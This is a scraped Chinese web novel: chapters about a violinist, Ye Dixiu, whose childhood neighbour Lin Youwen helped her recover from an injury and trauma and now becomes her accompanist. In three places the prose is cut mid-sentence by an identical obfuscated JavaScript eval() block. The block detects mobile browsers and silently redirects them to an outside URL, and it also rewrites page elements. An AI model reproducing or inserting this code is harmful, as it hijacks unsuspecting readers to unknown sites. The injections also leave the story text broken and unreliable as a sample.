叶笛袖心跳漏了一拍。 呼吸刹那滞住,因短暂失神,分心拉错一个音。 像美工刀在纸上“刺啦——”划出一道裂痕,破坏曲调原本的和谐。 竟然,是林有文。 他坐在评委席,今日没穿正装,衣着舒适且随性,外搭件棕咖色夹克衣,下身水洗蓝牛仔长裤,没有梳理发型的短发自然垂落额前、耳缘,他稍往另一个方向装扮,给人感觉截然不同,精英作派削减近无,看着还和大学校园时期的男生差不多。 孟若手里拿着纸稿,卷成纸筒攥于掌心,林有文低着头,偏向一边,像是耐心听她讲话,神态间有不合这个年纪长相的沉稳。 从笛袖走至台前的一刻,他隐约被触动般,倏然抬眼看向正前方的舞台。 原本漫无目的的眼神,终于有了变化。 …… 那道目光有如实质,自下而上的角度不含任何审视意味,何况还隔了这么远的距离。然而在心理作祟下,叶笛袖一想到那是来自于谁,顿时难以平复情绪。 那感觉如同日式酒酿中的一道工序,被火入后的清酒缓慢浇在身上,一点点灼烧起来。 一时间脑海中只剩下同一个念头不断冒出: 他怎么会出现在这? ——而且……还是出现在孟若身边? 尽管脑袋空白一瞬 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15826118|175530||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,曲目经过日复一日的练习,手臂形成肌肉记忆连贯衔接下半部分的曲调,笛袖很快恢复清醒,她收敛住思绪,定下神来。 到曲毕前,没往台下再看一眼。 终于“挨到”最后,琴曲落下尾音。 掌声稀落。 没几个人的观众席位,孟若合两下手掌发出清脆声响,看向笛袖,眼神示意她过来。 笛袖来不及做心理建设,正想着该摆什么表情好,走近跟前,孟若指着身旁的人和她介绍道:“这位就是我和你提到陈院长的得意门生。” 她对着林有文说道:“有文,这是我的学生,也是你的师妹,这回麻烦你做个顺水人情了。” 孟若口吻平淡如常。一个是声乐花腔专业副教授,一个是艺术指导专业的学生,虽然名义上是师生身份,但专业领域不同,以是没有摆半点年长者的架子。 林有文竟也配合,站起身手插兜里,说道:“你好。” “师妹。” 开口时微倾身颔首,样子倒是挺正经。 ——如果没有装作陌生人的话。 “……” 笛袖握着琴弓琴身,敛眸瞧裙摆滚边。落在孟若眼里,等同于第一次见面时的尴尬。 “刚开始难免有点生疏,不用觉得不好意思。”孟若出声安抚。 “在艺术指导方面,有文可以说是陈教授带过最出色的学生。” “室内乐各种器乐的独奏、重奏,都在他擅长的领域。他外婆可是英国市政厅交响乐团首席,国际著名小提琴家。” 孟若语气掩不住赞赏:“笛袖,有他的参与,你的小提琴演奏只会更好。” · “看到我很惊讶?” 踌躇着,刚想问怎么是你? 林有文却先出声,他道:“我也是。” “差点忘了,你的母校和我是同一所大学。” 视线从裙沿挪开,笛袖抬起头,望向那双色黑如漆,些许淡漠的眼睛:“我考上东大的那年,你刚好毕业离校。” 完美错过了。 排练还在继续,孟若到舞台下方观望,又似乎是刻意留出交谈,让他们拉近关系的空间。 “为什么要在孟老师面前装不认识?” 没了外人,笛袖将方才疑惑问出口。 “解释起来麻烦。” “我要如何和她陈述我们之间的关系,说我们已经认识二十年了,从长辈开始就是邻居?”说着他忍不住笑笑,“这些私事她听到多半要继续追问下去,还不如不说。” 这番说辞笛袖能够理解。 “可是,她怎么会刚好找上你?” 林有文坦然道:“我回校探望陈教授,在他那遇见孟老师。转专业前,我还在读艺术指导的时候,受过她的一些指点。” 那时候孟若也才到东大任教不久,是位年轻的新教师,对于院长总挂在嘴边,那位出身音乐世家的少年钢琴天才早有耳闻,据说他家里杰才辈出,其中不乏国际知名艺术家,譬如他的外祖母,便享有米兰威尔第音乐学院荣誉教授、英国皇家音乐学院小提琴课程讲授者,伦敦市政厅交响乐团首席等等多个名谓。 林有文继承了长辈的音乐天赋,在多种器乐都有不凡造诣,从能坐稳凳子上起,开始学习弹奏钢琴。 四岁时,他随同第一小提琴手身边,在恢弘典雅的歌剧厅参演人生中的第一次音乐会。 孟若和林有文产生过些交集,仅限于他入学的第一年,之后林有文毅然选择从艺术指导转到新闻学专业,将恩师陈院长气得不轻,扬言再不认这个学生。 一场风波闹得整个学院众人皆知。 谁也不知道这对师生间发生什么,以至于让一个前途坦荡,拥有无限光明的少年,选择完全无法预料的未来道路。 · “你的演奏不错。”林有文含着笑,“从上台开始起,我听完了全程。” “很出色,比我预计的好太多。” 能得到他的一句认可不容易,任是笛袖也忍不住脸上浮漾浅淡笑意。 “让我来做你演出搭档,”他询问她的意见:“可以接受吗?” 笛袖求之不得,“当然可以。” 但耐人寻味的是,她需要一个钢琴伴奏,此前找了许久都没有合意的人选,这次孟若一挑即中,恰好不偏不倚选中林有文。 连她都觉得怪异—— 这巧合得……未免过分了。 4. 预演4 她的小提琴是林有文手把手带入门,最初的那把琴,乃至现在用的意大利手工琴盒,都是林有文送的礼物。 而现在,仿佛又回到当初那样,由他指导参与。 礼堂角落摆放架钢琴,但眼下的场合,显然不适合在这里练习。 // 他们去到训练厅。 午后薄薄日光和煦而不灼热,映照校道边蔓延成片的南美木棉林,明媚得恰到好处。 身后窗台树影婆娑,阳光被揉碎成满地斑驳,错落洒在黑白琴键上,熟悉的环境唤醒记忆,林有文抚摸琴盖,许是怀念起当初在这里练琴的时光。 他用首熟悉的曲子试音,顺便找回久违的感觉。 起初略有凝滞,前奏过后,琴声归于流畅和谐。 “上次弹琴是什么时候?”笛袖坐在旁边琴凳,过长裙摆垂地,轻声问道。 “隔了很久,大概一年多。” 难怪开始弹奏时如此生涩。 长时间不练习,琴技只退不进,这句话对任何人都管用。但林有文接过她的曲谱后,只用了半小时,就初步找回过去的感觉。 …… 人比人气死人。 临窗练琴时的侧脸和当年如出一辙,同样地投入专注。他指端覆着薄薄的茧,击键力度精准,舒缓时轻巧,紧凑时激越,即使第一次接触改编的曲目,也能分毫不错地整曲弹奏下来。 笛袖侧耳倾听,渐渐沉浸其中,目光所及的那双手骨肉匀称,指节纤长挺直。 ——印象最深的,便是这样一双手,将她从无尽阴影中拉进阳光里。 那年她十四岁,从母亲身边回归到父亲所在的城市。 夫妻俩常年异地的婚姻宣告破裂。 不是因为出轨。 没有经济纠葛、没有第三者。 而是她多了一个同母异父的兄长。 · // 六年前,盛夏。 “叩——” “叩——” “叩叩——” 平稳沉重的敲门声响起,不紧不慢,提醒屋内的主人有访客。 里面传来由远及近的脚步声,一个中年女人应门,开口询问:“系边个嚟呀?” 讲的是粤语。 拉开半扇实木大门,从只容半个身子大小的空隙打量着来人,穿着带领子的半袖T恤衫和运动短裤。 年纪不大,至多十七八岁,身形修长,模样清俊。等候开门间隙,他透过走廊玻璃,观赏庭院花圃里栽种的一树树香妃山茶。 闻声转过头,夏日炎炎,男生顶着渗进门庭的炽阳,指着墙壁上的按铃。 “门钟坏咗,头先按过冇声。” (门铃坏了,刚才按过没声音) 女人哦了声,记下故障的门铃。 “有咩事?你搵边位啊。” 她这次语气温和不少,因为认出面前的人是隔壁那户人家的儿子。女人在院子里浇花时常碰见他们一家人,林家和她家雇主经常往来,是十几年的邻里交情。 男主人言行均具风度,在一家顶级投行机构任职高管,女主人气质高雅,是当地电视台知名主持人,家境背景挑不出一点瑕疵,让女人既羡慕又信任。 林有文来借投影机。 他请同学来家里看电影,设备却不小心被其他人弄坏,投影画面出现竖向裂纹。 保姆引他进门,一楼是主客厅和厨房餐厅,静悄悄无人。餐桌上散落十几株待打理的花束,茶花颜色粉白,青釉瓶里只插放了一半,开门前,女人应该正坐在桌前修剪花枝。 “先生唔系屋企,去医院了。”女人说道:“投影机在楼上。” 避免半路又意外磕碰,林有文说:“我同你一起上去。” 女人没拒绝。 “上二楼后,请您安静一点。”她着意交代。 林有文微挑眉,这屋子还嫌不够静么?女人一直压低声音讲话,好像怕被第三个人听到。 但这是在别人家里,他没有什么异议。 保姆来到一扇明显更像是卧室的门前,同身后的林有文说:“您在这等会。” 她轻手轻脚推开房门,药味先一步溢出,厚重、沉甸甸的气息凝结在卧室里。仅只有一瞬,房门从内关上隔绝。 女人看见床边的人影,略有意外,放轻语调说:“哲哲起来啦。” 哲哲,是这家女儿的小名。 屋内的人说了几句,声音细微,交谈内容没听到,只见保姆转身从书柜上拿本书,想给她拉开窗帘,却被出声阻拦了。 出门时,未闭合的门缝中,林有文看到女人身后从床边扶到轮椅上的女孩。 昏暗幽闭的房间内。 她唇色淡红,浓密睫羽下眼眸半垂,静静看着双腿上的白色石膏,还未完全长开的五官小巧精致,任是谁都会忍不住夸赞句漂亮。 ——漂亮到没有一丝生气。 瞳孔没有焦距,双目无神,像僵在那死气沉沉的人偶。 林有文怔在门口。 竟不敢贸然出声,打破房间内沉静死寂。 隐隐产生个模糊想法: 那是薄而脆弱的一张纸,苍白易碎到,稍微用点力,哪怕不慎说重一句话,都会把最后的那丝精气神彻底折了。 房间内的人异常敏感,察觉到望过来。 下一刻,却在瞥见陌生面孔时受惊般躲开! 膝盖上书本滑落地面,沉闷一声响。 房门戛然关上,女人将投影机递给他。 林有文若有所思收回视线,道了声谢。 · · 其实刚回到家不久,林有文便察觉出有所异样。 最引人注目的一点,莫过于对面那家独栋房屋,二楼整层窗户紧闭,窗帘放下将整个落地窗遮挡得严严实实。 楼上所有能接触接触外界的地方,都被阻隔得密不透风。 …… 像是藏了个见不得光的怪物。 或者,弱不经风的病人。 · 盛夏酷暑难消,空调发动机嗡鸣运作不休。 高大林木郁郁葱葱,午后阳光照得树叶绿影绰绰,白色窗纱迎风飘起,像女孩子轻忽飞扬的曼妙裙摆。 而对面的窗帘仍紧拉着,密不透风。 再见到小姑娘,是在三天后。 南浦下了一场季风雨,丰沛雨水瀑淋整夜,满树山茶被打落许多,哲哲由照料起居的住家阿姨陪着,推着轮椅到庭院外边散散心。 也许这次有人陪伴在侧,她状态好了点,远远隔十几米看见林有文,终于有些反应。 林有文辨认出来,那不是排斥或惊慌。 这代表着一个好讯息。于是当轮椅连人到跟前时,他俯身开口:“哲哲,早上好。” 阿姨同他问好,林有文在等哲哲的回应。 “记得我吗?”少年长相温和,言行更富有耐心,“我是林有文。” 阔别多年,从孩童步入成年,面前的人介于男孩与男人之间。他屈膝半蹲,靠近时不带压迫性的威胁感,声音低缓沉稳,有种特别予人安心的力量。 “记得。” 笛袖恹恹地同他对话:“有文……哥哥。” 林有文直觉对方并不抗拒他,想了下,以温柔的语调,问她愿不愿意到自己的书房来玩。 · 房间坐北朝南,干燥且温暖。 采光充足,和那间昏暗卧室截然不同。 角落立着台施坦威三角钢琴,墙边、柜子里摆放别的乐器和书籍。 在立柜上看到几张相框,和他同龄的男孩子,两人勾肩搭背冲镜头笑,观众席上人头攒动,黑影重叠,身后背景是广阔的绿茵场。 “这是哪里。” 目光停在上面许久,声音很轻,说话时还带点卡顿。 林有文不知怎么地,猜测起她有多久没开口和别人说过话。 “利物浦,安菲尔德球场。” “去年和朋友在欧洲旅行,我们认识很多年,商量好要实地看一场英超比赛。” 林有文拿起相框,照片里球衣上有一个醒目的红色梯形标志,“这场是利物浦主场打曼城。” “球赛好看吗?” 说这话时,她抬起头仰视,林有文这时才注意到,女孩眼睛虹膜并非常见的棕色,更浅淡几分,在阳光下浮现出晶莹剔透的色彩。 此刻那双茶褐色眼眸微微发亮,正专注凝望他。 “嗯,很精彩。” 林有文不忘记挂她的腿伤,“等你伤好了,同样可以去很多地方。如果对足球感兴趣,我可以带你去看球赛。” 随口一句安慰,在那一刻被她拿来当真,藏在心底里,相信未来会有这么一个约定。 哪怕隔了很多年,依然没有实现。 · 从那天交谈之后,笛袖的精神似乎稳定些许,不再一味闭门不出。 家人乐见于她不再困于卧室。 笛袖开始频繁做客林有文的书房。 她身边阿姨是很负责的人,每天下午按时推小姑娘到这“放风”,起初待两小时便借口离开,后来似乎安心不少,留下的时间慢慢长了。 林有文从她的行为读出戒备的意思,但她只是贴身照看在受伤期间,行动不方便的笛袖,没必要也没理由这么防着他,唯一的解释——这是雇主的意思。哲哲家里人把她看得很严,警惕所有外人的靠近。 林有文理解这种做法。 原因并不复杂,也不难打听。 · · 在双方孩子还没出生前,林叶两家已经成了邻居,可谓知根知底。 哲哲父亲是位权威骨科主任,在市中心医院工作。他是南浦当地人,年轻时曾在江宁省直属医院学习过几年,也是在那时候认识了笛袖母亲,季女士。 相爱半年后两人决定结婚,规培期结束,叶父回到家乡。 和他一起到南浦的是刚怀孕不久的妻子。 很快女儿诞生,他们组成圆满的家庭,夫妻和睦度过十年,直到笛袖外公病重。 长子一家海难离世后,老人家只有一个女儿,又是远嫁,亲戚里动歪念头的不少,人心浮动时,丈夫专通医理却不懂经商,提供不了助力,季女士无从选择,一个人挑起梁子,靠自己站稳脚跟。 一屋子不出两样人,季女士的生意头脑更胜父亲,她是个极有魄力的女性,接管家族企业后,不仅将一团乱麻绪的糊涂账捋清,经手几年之内,将公司规模送上另一个高度。 也就是在这时,小学五年级在读的哲哲从南浦转学去江宁,逢寒暑假时才到南浦暂住一小段时日。 · // “哲哲回来了。” 傍晚,只有母子俩的饭桌上,林母忽然和他说道。 “还有印象吗?小时候追着你玩,喜欢跟在你身后的小妹妹。” 一提起来,林有文脑海浮现出几段场景,童年跟小区的同伴玩耍时,男孩子们玩得皮,上树滚坑爬沙堆是家常便饭,他们顶着一脸灰,转头却指向身后哈哈大笑,那里总缀着道矮小影子。 小女孩穿着裙子、白袜小皮鞋,有样学样跟在他们身后胡闹,小小年纪,脸蛋却很文雅灵气,是不论大人小孩都会喜欢的类型。 孩童时期记得枝末所剩不多,等再长大些,年龄差显得越分明,不同龄的孩子能玩到一起的机会越来越少,林有文只知道,近几年人去了江宁念书上学,跟在外地开公司的母亲身边。 林母语气不是叙旧,而是带着惋惜。 “嗯。她放假回来了?” 没记错的话,林有文顿一下,道:“现在才六月。” 林母微叹:“不是。” “她家里最近出了点事,闹得很厉害。”话至一半,母亲不悦蹙眉,“好好的一个孩子被折腾得,她妈妈真是……不把女儿当亲生待!” 林有文回想起 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15826119|175530||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 三四个小时前,看到那间卧室的场景。 以及坐在轮椅上,被石膏包裹的伤腿。 他停住筷,问:“发生了什么事?” “哲哲家情况特殊,她妈妈呢家大业大,在江宁开公司生意越做越好,人也就长期以往地不着家。” “因为长期异地这事,夫妻俩起过一些争执,但都称不上大问题,后来哲哲慢慢长大,她爸爸初衷想法是好的,觉得女孩子大了么,还是在妈妈身边有利于成长。” “可是没想到。” 林母拧起眉头:“她妈妈婚前隐瞒有个儿子,年轻时不懂事,和外面男人生的。” 林有文诧异,“她爸不知道?” “一点风声都没听过。夫妻俩统共认识不到半年就领证怀孕了,这手脚速度办得有多快?结婚后,哲哲妈妈一直住在南浦,季家那边也没有主动提过让他们去江宁探亲,防得就是这件事。” “哲哲的外公外婆一直替女儿瞒着,本来说不认的,当作没生过这个孩子,但不知道为什么又把那孩子找回来。” “男的坐过牢,没多久又因为聚众db进去了。儿子也不是个好人,和他爸一样,打小是混混。” “哲哲现在的腿,据说就是那儿子弄伤的。” …… 不是亲人,是仇人。 通过母亲的话,林有文这时才知道,她困在卧室里多日,不是“弱不禁风”,而是心理状态极其糟糕,被判定为受不得一点异常。 到底那儿子做了什么,能够把好生生的一个人折腾成这样,灰败,留下如此大的心理阴影? “有时间去看看那孩子。” “虽说好几年不常见,可能生疏了,但总归比外人强。” 林母唏嘘半晌,看着陷入沉默,一言不发的儿子,目光柔和几分:“哲哲打从小挺崇拜你,把你当大哥哥看。她看到你,兴许愿意多说些话,心情也会好一些。” 林母知道自己儿子的性格。 他不是多管闲事的人,更不会见到哪个小孩嘘寒问暖,关怀备至。 从小到大,能耐心温和地对待的孩子,哲哲是唯一一个。 · · 午后,书房内。 林有文每天固定有段时间练琴。受家里长辈熏陶,他自三岁起接触各种器乐,民乐、西洋乐都有,擅长的乐器凡多,光笛袖看到他展示过的,二胡、长笛、吉他……不在少数。 哪怕对音乐一知半解,笛袖还是能在林有文身上,觑见什么叫才华难掩,天资过人。 最常见他碰的,还是钢琴。 林有文练琴时,笛袖在旁边看着,有时候是看他,有时候望着窗外风景,也偶尔低头看摊开在腿上的书。 有次看到一半,听见林有文轻声叫她小名。 “哲哲,你想听什么曲子。” 担心她容易闷,打算给她弹奏首喜欢的曲子。 可一时之间,笛袖脑袋里没有思绪。 林有文眺望窗台,想了会儿,随手弹了首《Memory》,笛袖看过音乐剧,熟悉旋律响起,忍不住轻轻哼唱。 他见之临时起意:“哲哲,以前学过钢琴么?” 她摇头。 林有文挪开琴凳,将轮椅推到跟前,教她认黑白琴键。笛袖觉得有意思,听得也认真。 女孩细瘦白皙的手指,比琴键还要冷白几分,断续音符间林有文不必触碰也知道,那双手掌柔软,掌心却是凉的。 所以,他设法让她了解新鲜事物,不断探索,求知欲是摆脱自我封闭的良好表现。 扶着手,一个个音节地指导着,将那首歌从头到尾断断续续地弹下来。 这一举措,却产生了令人意外的效果。 不消多久,林有文察觉出了她潜藏的音乐天资,并做出了判断。 他请来一位专职教师,教导哲哲基本乐理知识——对于不走艺术路子的人来说,业余水平的了解已经足够满足兴趣要求。 而林有文做得远不止这些。 他不知用了什么方式,说服叶父同意让哲哲外出一天。没有其他大人,林有文独自包揽全天行程,带她出了趟不算很远的门,对当时患有心理疾病的她来说,这是一次很大的冒险。 意义弥足珍贵。 笛袖也是过了很久以后,才从林母无意间的话语得出,他曾为此花费一星期的时间去规划。 …… 但那时哲哲还没有心思去体会。 对于林有文的安排,她眨了眨眼,手搁在遮膝盖的毛毯上,轻声问:“哥哥……你是不是有意照顾我。” “因为我‘生病’了。” 罕见地,面色不见以往的平淡。 他敛色认真问:“谁说的?” 仿佛如若有这么一个人,戳破了这层脆弱的窗户纸,他必然不会轻易揭过。 小姑娘脸上有点笑意,“没有人说,但大家好像都在照顾我。” “尤其是你。” “只有病人才会被特殊照顾。”她说。 灵动俏皮的回答,令林有文稍微松口气,他揉了揉眉心。 “你一直都很健康,没有生病,只是……最近有些难过。” “哲哲,还难受吗?” “……” 她停一会儿,“难受。” “哥哥。” “我清楚自己为什么‘生病’。” 这句话是哲哲第一次讲出来,印证了林有文的猜测——她的症状轻重程度,根结在心底。 “像刚才那样,直接把话说出来多好。” 林有文伸手,做了心底一直在想的动作,本来打算揉脑袋,一见整齐乌黑的柔顺长发,有如一匹精细绸缎,感觉弄乱一点都挺糟糕。 改成指节轻碰两下她的额头,“不想这么叫就别勉强。” 留意到每次用到这个称呼,她的声音总会卡涩下。 林有文说:“我不算你的亲哥哥,更和他不一样。” 5. 预演5 以林有文的层次,扎实基础功这种事,不必亲自手把手来教。 他拥有的人脉资源深厚,其中一半源于和长辈友好结交的国内外专业演奏家,他们在外赫赫有名,大多数都可以称作林有文的师长,以引路人、先行者的身份为他提供过许多经验之谈;另一半则是他自己在比赛、求学过程中,遇到同行趣味相投的好友。 林有文托在琴行的友人介绍,很快,朋友便按照他的要求,推荐了一位适合辅导初学者,责任心强、口碑不错的家教。 挑选的钢琴老师隔天到林家,给笛袖上音乐通识课。 对方非常年轻,是位女性,只比笛袖大六岁,有着一头柔顺黑发,眉眼秀气。 她就读音乐学理论方向,上大学期间,经常趁假期兼职给有培养孩子专长需求的家庭上课,言语风格明快,擅长对话互动,能和各种性格的学生侃侃沟通。 因为年纪相差不大,哲哲称呼她为“小老师”。 不知是本身讲授风格如此,亦或者受到有意嘱托,小老师态度温柔,循循教导笛袖识谱、音程、和弦、节拍等基本乐理知识。 看到轮椅上纤薄瘦弱的笛袖,女老师最初心底惊讶,但出于职业素养抑制住好奇,秉着非礼勿言的原则,没有打探学生家庭的隐私。 至于林有文,在请到专人代劳后,他出现的频次逐渐减少——时间有限,他所有精力都集中于筹备近期一场国际青年组钢琴大赛。 笛袖在小老师的指导下,从最初仅摸索入门门槛的边缘,到能自己弹出第一首曲目,每天进步飞快。 两个月间,琴技练习得越发娴熟,腿部骨折伤势转好愈合,她脱离了轮椅束缚,开始做康复性的行走锻炼。 此外,第二个值得高兴的消息是,林有文从别的城市返程,以选拔赛第一名的成绩顺利拿下总决赛名额,下一场决赛时间待定。 阔别一个多月没见,蓦然出现在面前时,他整个人身上好像多出点变化。 发梢长了一些些,清瘦几分的五官更立体凸显。比赛期间,林有文度过了他的十八岁生日,正式成年。 具体是哪里改变了? …… 笛袖暗自对比,终于想明白了,那张温和好看的脸,面对面时变得更加沉着、内敛,难以看懂真实想法。 对着这样的林有文,她一时说不出话。 心口紧了一紧,是从未有过的感觉。非要形容的话,像喜欢喝的无糖冻柠茶,味道苦涩……又酸、又胀。 林有文待她如常,照旧询问近况:现在是能正常走路了?恢复期还有多久,每天练琴会不会觉得烦闷,有没有遇到什么瓶颈…… 笛袖直接演示给他看,让他直观感受自己恢复得如何、学得程度如何。 林有文看完,因惊人的进步挑了挑眉,随后笑了起来。 以往如墨石深沉的眼眸微微弯起,备赛练习的日子辛苦,连双眼皮间褶痕都加深了几分,有种深邃缱绻的观感,含笑时眉眼弯曲的弧度格外好看。“嗯,看得出这些日子非常用心。”他说。 // 次日下午,小老师给笛袖授课的时候,林有文充当旁观角色。 在找到家教替代自己后,他放下心出门,这一离家便是近两个月,今天还是第一次旁听笛袖的钢琴课。 他坐在边上,不干涉教学过程,仿佛单纯了解她们目前进行到哪一步。当老师偶尔用到一些不专业词汇、或示范错误时,林有文才会出声纠正。 几次之后,女生不由正眼看待,猜测出他是眼前这架施坦威钢琴的真正主人。 老师讲解完一首新的曲谱,开始让笛袖着手练习。钢琴教学的时间一般不长,讲解的知识有限,能不能实际掌握还得看学琴者自己有没有下苦功夫。 期间林有文去楼下喝水。 不多时,老师起身借口离开,并嘱咐让笛袖自己再练一遍曲子。 笛袖乖乖照做,坐在钢琴前翻谱弹曲。 她腿伤还没好全,虽然可以走路,但骨缝长合得小半年,平时无必要尽量坐着。 楼梯踩踏的轻微声响传来,林有文循声斜头瞥去一眼。 他瞧见身后跟过来的人影,不见丝毫意外。 头没回,喝了一口水,手落下放杯子,顺带提起旁边盛水的玻璃壶。林母闲来无事喜欢喝茶,台面上摆放的都是雕花白瓷茶具,他另挑件新的骨瓷杯,问:“纯净水,茶,还是饮料?” 女生被这从善如流的行为小小触动,随即一喜:“温白开就行。” “说实话,你的水平比我出色多了。”女生赧然抿了抿唇:“我不明白为什么不是你亲自教,而是聘请我来。” 林有文低头,倒了杯温白开,“专业的事还得让专业的人做。” “论专业,你比我更好。”女生直言。 “更好的未必适合,我不一定有老师细心,我相信你能辅导得比我好。” 这是实话。 拥有先天绝对音感,后天又有名师引路,林有文的成长经历少有人可复刻,举个不太恰当的比喻:其余人学琴路子要一步步走,他却能轻易一步登天。 林有文知道,自己不太适合教其他人。 “怎么会?” 女生笑意嫣然,当他是自谦,“我辅导过不少学生,包括同行教的那些,但像你这么年轻的天才,从没见过。” 书房展览柜摆放的各种大赛奖杯琳琅满目,每一个含金量都高得吓人,足以证明这点。 林有文嘴角微微扬起,露出礼节性的笑容,“我外公是乐团指挥,外婆演奏小提琴,可能从小耳濡目染。” 女生恍然,笑道:“厉害,原来是音乐世家。” “那你以前,最早是什么时候开始接触钢琴表演?”她身子似不经意间靠近,和林有文攀谈起来。 “四岁,和我长辈在协奏曲现场,那场演奏会,她是首席小提琴家。” 每交谈一句,了解更多一分,她对林有文的兴趣愈增。 …… 林有文默数时间,五分钟过去,耐心告止。 “出来得太久,你应该回去了。”目光指向墙壁挂钟,他提醒道。 “还有学生在等你上课。” 女生面色微微凝固。 她听懂话里潜含意思,僵在原地两秒,随后维持着体面转身上楼。 房间内,笛袖看着只隔几分钟,神情却大不相同的小老师,没问为什么,专注从头练习弹奏一遍。 下午直到课程结束小老师离开,林有文都没再踏入书房。 一直以来,他在校期间不乏追求者,从上中学起,收到的情书接踵而至,连他开明的父母偶尔看见了,也会调侃儿子几句。 在如何保留情面地同时拒绝追求者的爱慕,林有文自有一套经验,能够应对自如。 然而当他有意避嫌,另一人却未必这么想。 同一个屋檐下总有碰面的机会,一个星期后,在同样的地点,同样类似的情景,林有文被女生堵在餐厅,进出不得。 他靠在大理石台面边沿,听完面前这位漂亮温柔的女性告白,乐理老师嗓音娓娓动听,字句沁人心脾。 …… 笛袖站立在楼梯拐角阴影,将这副画面尽收眼底。 施坦威钢琴记录上一个弹奏的旋律,开始自动演奏。 琴凳上没坐人,琴键重新自行演奏一遍录制好的曲目。在不明真相的外人看来,书房练琴的声音一直未停止过。 ——悉心照料下,腿伤痊愈速度远比其余人预估的更快。具体恢复到什么情况只有笛袖清楚,她对谁也没说过。 在女生希冀忐忑的目光中,林有文脸上没有丝毫波澜,他淡然饮完一杯冰水,不紧不慢道:“抱歉。” “我暂时没这方面的想法。” 恍惚间,她预感林有文似乎已 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15826120|175530||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 经察觉到楼梯角有道若隐若现的视线,他往上瞥一眼。 笛袖往后猛背靠住墙壁!心口惊乱直跳,喘息不定。 停留片刻,没发现异样,他接着道:“对我而言,你只是个老师。” “仅此而已。” 一句话,一个称谓,将界限拉得分明。 · · 那天小老师上到一半称病走了。 这不是她亲口和笛袖说的,她压根没有露面,是林有文代为转告。但不论是与不是,自愿或者被动,总之她是离开了。 下半节课由林有文来上。 笛袖专注力不及先前,脑袋里跑马灯般回转刚才所见的场景,频频走神。林有文不知怎地,注意也不在这里。 两人各揣心思,状态诡异。 中途,哲哲忽然问道:“以后都是你给我上课吗?” 林有文愣一下,轻嗯了声。 “那小老师呢?” “她不会再来了。” “我不想学钢琴了。”哲哲说:“你们教的都不一样,我想换一个新的乐器从头开始学。” 这个要求可谓任性,等同于前期的付出近半荒废。 林有文打量着她,良久,似乎思索为何突然改变主意。 “可以吗?” 过了片刻,林有文说:“当然。” 这次没有人提议,笛袖自己选择了小提琴。林有文看到后,莫名有种啼笑皆非的感觉。 ——这是他第二擅长的乐器。 林有文顶替了小老师的工作。整个夏季的午后,笛袖都和他在一起消磨度过,每次看到林有文时,除了高兴,好像还有点说不清的感觉。 这种感觉在他比赛完回来当天第一次出现,之后逐渐加深,在目睹表白的那一刻异常明显,心跳快得像是要跃出胸腔。 等到她意识那个感觉叫“喜欢”时,已经到了八月的尾巴。 暑假结束了。 林有文去上大学,出于自身一些考量,他放弃了国外几所顶尖音乐院校的录取,出格举动引起林家父母强烈疑问和反对。但很快令人真正愕然的事情发生,他们才意识到,这不是林有文做出最大胆的决定。 以他的水平,去到的必然是国内最好的大学,笛袖默默记住了他学校的名字,东大。 不是东京大学,是东华大学。 而她也开始了自己的新生活。 同样,开启了长达七年的暗念。 · · 时光一闪而逝,此后数年间,笛袖和林有文遇见的次数屈指可数。 错过的时候远胜过重逢。 最长的一次相处,也不过短短三天。 她曾疑虑林有文是否看出了潜藏的心意,当初她的心思远没有现在控制得好,也有感觉到,林有文上大学后,他们相见次数如此少,除了有客观因素外,主观上,林有文似乎在刻意避开她,减少彼此见面的机遇。比如高中生活是寄宿制,林有文回来的时候她还在上学,等回到家他要么事先有约,要么已经离开。 转瞬四年韶光已去,他成为了一名驻外记者,工作区域是战乱频繁,武装冲突不断,被誉为世界最危险地带之一的中东地区。 这次休假回国,笛袖在接到林有文的消息后,满含期待。 但欣喜过后,伴随而来的是更深一层的茫然,失望。 下午茶餐厅,店员间的对话她听到了,不论是六年前,还是六年后,林有文对女孩的吸引力一如既往。 长相英俊,风度品貌皆是上乘,自然不缺异性·爱慕,但这些年来,笛袖未曾见到林有文对谁有过特别的青睐。 好像真的如他所说般,那个作为拒绝的理由—— “我暂时没这方面的想法。” …… 这话不仅回绝当年对面女生的绮念,也隔着时光,堵死了她无法宣之于口的暗恋。 6. 预演6 在得知笛袖和林有文自小认识,还是多年邻居,两家房屋距离只间隔了一道花园篱笆,孟若怔愣一会儿,之后忍不住感慨太巧合。 这显然是件好事。 既然有相识的情分,不用在社交上浪费时间,后面的沟通合作也更加顺理成章。 于是,笛袖多了一位演奏搭档。 原定的节目由独奏变为双人协奏。 她的小提琴技艺最初由林有文引进门,他熟悉笛袖对乐曲的处理方式,在某些方面,比如曲目的情感解读,音乐进行中的强弱起伏,旋律速度把握上高度重合,配合起来出奇默契。 